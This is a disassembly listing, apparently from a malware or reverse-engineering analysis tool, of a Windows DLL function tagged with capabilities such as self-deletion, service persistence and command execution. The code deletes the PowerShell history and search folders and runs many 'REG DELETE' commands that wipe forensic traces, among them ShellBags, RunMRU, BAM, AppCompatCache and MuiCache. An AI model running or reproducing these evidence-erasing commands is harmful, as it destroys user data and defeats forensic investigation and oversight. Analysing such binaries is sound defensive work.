Function at 0x180031e40
Capabilities:
Delete directory
Delete file
Execute command
Get session user name
Persist via windows service
Self delete
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x998]
sub rsp, 0xa70
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1800b3040]
xor rax, rsp
mov qword [rbp + 0x950], rax
xor r13d, r13d
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f0], xmm1
mov r8d, 0x38
lea rdx, str.C:_users__username__Searches_Indexed_Locations.search_ms
lea rcx, [rbp + 0x2e0]
call fcn.180036d80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2b0], xmm1
mov r8d, 0x4b
lea rdx, str.C:_Users__username__AppData_Roaming_Microsoft_Windows_PowerShell_PSReadLine
lea rcx, [rbp + 0x2a0]
call fcn.180036d80
nop
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova rcx, qword [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x180031f44
lea rdx, str.Error_deleting_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b320
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18003b500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_delete_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x180031f52
lea rdx, str.Folder_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18003b320
lea rdx, [0x18003b500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 0xf
cmova rcx, qword [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x180031fcf
lea rdx, str.Error_deleting_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b320
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18003b500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_delete_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x180031fdd
lea rdx, str.Folder_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18003b320
lea rdx, [0x18003b500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x278], 0x64
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x7d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x180032037
lea rdx, str.Error_getting_user_SID.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b320
lea rdx, [0x18003b500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bam
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x7d0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180032160
lea rdx, [rbp + 0x7d0]
lea rcx, [rsp + 0x30]
call fcn.180036d80
nop
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
lea rdx, [0x1800a603f]
mov esi, 0x17
lea rbx, str.REG_DELETE__HKEY_USERS_
cmp rax, rsi
jb 0x180032219
lea rax, [r8 + 0x17]
mov qword [rsp + 0x40], rax
lea r14, [rsp + 0x30]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x30]
cmp rdx, r14
jbe 0x1800321dc
lea rax, [r14 + r8]
cmp rbx, rax
ja 0x1800321dc
cmp r14, rbx
ja 0x1800321d4
mov r15, r13
jmp 0x1800321df
mov r15, r14
sub r15, rbx
jmp 0x1800321df
mov r15, rsi
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, rsi
sub r8, r15
lea rdx, [rbx + 0x17]
add rdx, r15
lea rcx, [r14 + r15]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x30]
jmp 0x180032230
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.18003cc10
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x40
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___f
lea rcx, [rbp + 0x170]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rcx, qword [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x18003230d
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032308
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032308
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqa xmm6, xmmword [0x1800aa2e0]
movdqu xmmword [rbp + 0x80], xmm6
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x180032365
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032360
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032360
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x180], xmm6
mov byte [rbp + 0x170], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1800323b4
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800323af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800323af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800323d0
lea rdx, [rbp + 0x7d0]
lea rcx, [rsp + 0x50]
call fcn.180036d80
nop
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, r8
lea rdx, [0x1800a6094]
mov r12d, 0x14
lea r15, str.REG_ADD__HKEY_USERS_
cmp rax, r12
jb 0x180032488
lea rax, [r8 + 0x14]
mov qword [rsp + 0x60], rax
lea r14, [rsp + 0x50]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x50]
cmp rdx, r14
jbe 0x180032448
lea rax, [r8 + r14]
cmp r15, rax
ja 0x180032448
cmp r14, r15
jbe 0x18003244b
mov r13, r14
sub r13, r15
jmp 0x18003244b
mov r13, r12
inc r8
lea rcx, [r14 + 0x14]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, r12
sub r8, r13
lea rdx, [r15 + 0x14]
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
xor r13d, r13d
jmp 0x18003249f
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [rsp + 0x50]
call fcn.18003cc10
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x3d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps_
lea rcx, [rbp + 0x190]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x18003258b
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032586
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032586
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0xa0], xmm6
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x1800325de
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800325d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800325d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x1a0], xmm6
mov byte [rbp + 0x190], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18003262d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032628
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032628
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180032650
lea rdx, [rbp + 0x7d0]
lea rcx, [rsp + 0x70]
call fcn.180036d80
nop
mov r8, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, r8
cmp rax, 0x52
jb 0x180032715
lea rax, [r8 + 0x52]
mov qword [rbp - 0x80], rax
lea r14, [rsp + 0x70]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x70]
lea rax, [0x1800a6102]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
cmp rax, r14
jbe 0x1800326c4
lea rax, [r14 + r8]
cmp rcx, rax
ja 0x1800326c4
cmp r14, rcx
jbe 0x1800326ca
mov r13, r14
sub r13, rcx
jmp 0x1800326ca
mov r13d, 0x52
inc r8
lea rcx, [r14 + 0x52]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x52
sub r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
add rdx, 0x52
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x70]
xor r13d, r13d
jmp 0x180032737
mov ecx, 0x52
mov qword [rsp + 0x28], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
mov qword [rsp + 0x20], rax
mov edx, ecx
lea rcx, [rsp + 0x70]
call fcn.18003cc10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 8
lea rdx, str.___va__f
lea rcx, [rbp + 0x1b0]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rcx, qword [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x180032823
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003281e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003281e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0xc0], xmm6
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x180032876
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032871
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x1c0], xmm6
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1800328c4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800328bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800328bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800328e0
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x70]
call fcn.180036d80
nop
mov r8, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
sub rax, r8
cmp rax, 0x4e
jb 0x1800329a1
lea rax, [r8 + 0x4e]
mov qword [rbp - 0x60], rax
lea r14, [rbp - 0x70]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x70]
lea rax, [0x1800a615e]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
cmp rax, r14
jbe 0x180032951
lea rax, [r14 + r8]
cmp rcx, rax
ja 0x180032951
cmp r14, rcx
jbe 0x180032957
mov r13, r14
sub r13, rcx
jmp 0x180032957
mov r13d, 0x4e
inc r8
lea rcx, [r14 + 0x4e]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x4e
sub r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
add rdx, 0x4e
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x70]
xor r13d, r13d
jmp 0x1800329c2
mov ecx, 0x4e
mov qword [rsp + 0x28], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
mov qword [rsp + 0x20], rax
mov edx, ecx
lea rcx, [rbp - 0x70]
call fcn.18003cc10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 8
lea rdx, str.___va__f
lea rcx, [rbp + 0x1d0]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x180032aae
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032aa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032aa9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0xe0], xmm6
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x180032b01
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032afc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032afc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x1e0], xmm6
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x180032b4e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032b49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032b49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180032b70
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x50]
call fcn.180036d80
nop
mov r8, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x180032c18
lea rax, [r8 + 0x17]
mov qword [rbp - 0x40], rax
lea r14, [rbp - 0x50]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x50]
lea rax, [0x1800a603f]
cmp rax, r14
jbe 0x180032bd6
lea rax, [r14 + r8]
cmp rbx, rax
ja 0x180032bd6
cmp r14, rbx
jbe 0x180032bd9
mov r13, r14
sub r13, rbx
jmp 0x180032bd9
mov r13, rsi
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, rsi
sub r8, r13
lea rdx, [0x1800a603f]
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x50]
xor r13d, r13d
jmp 0x180032c2e
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rdx, rsi
lea rcx, [rbp - 0x50]
call fcn.18003cc10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x4b
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___va__f
lea rcx, [rbp + 0x1f0]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
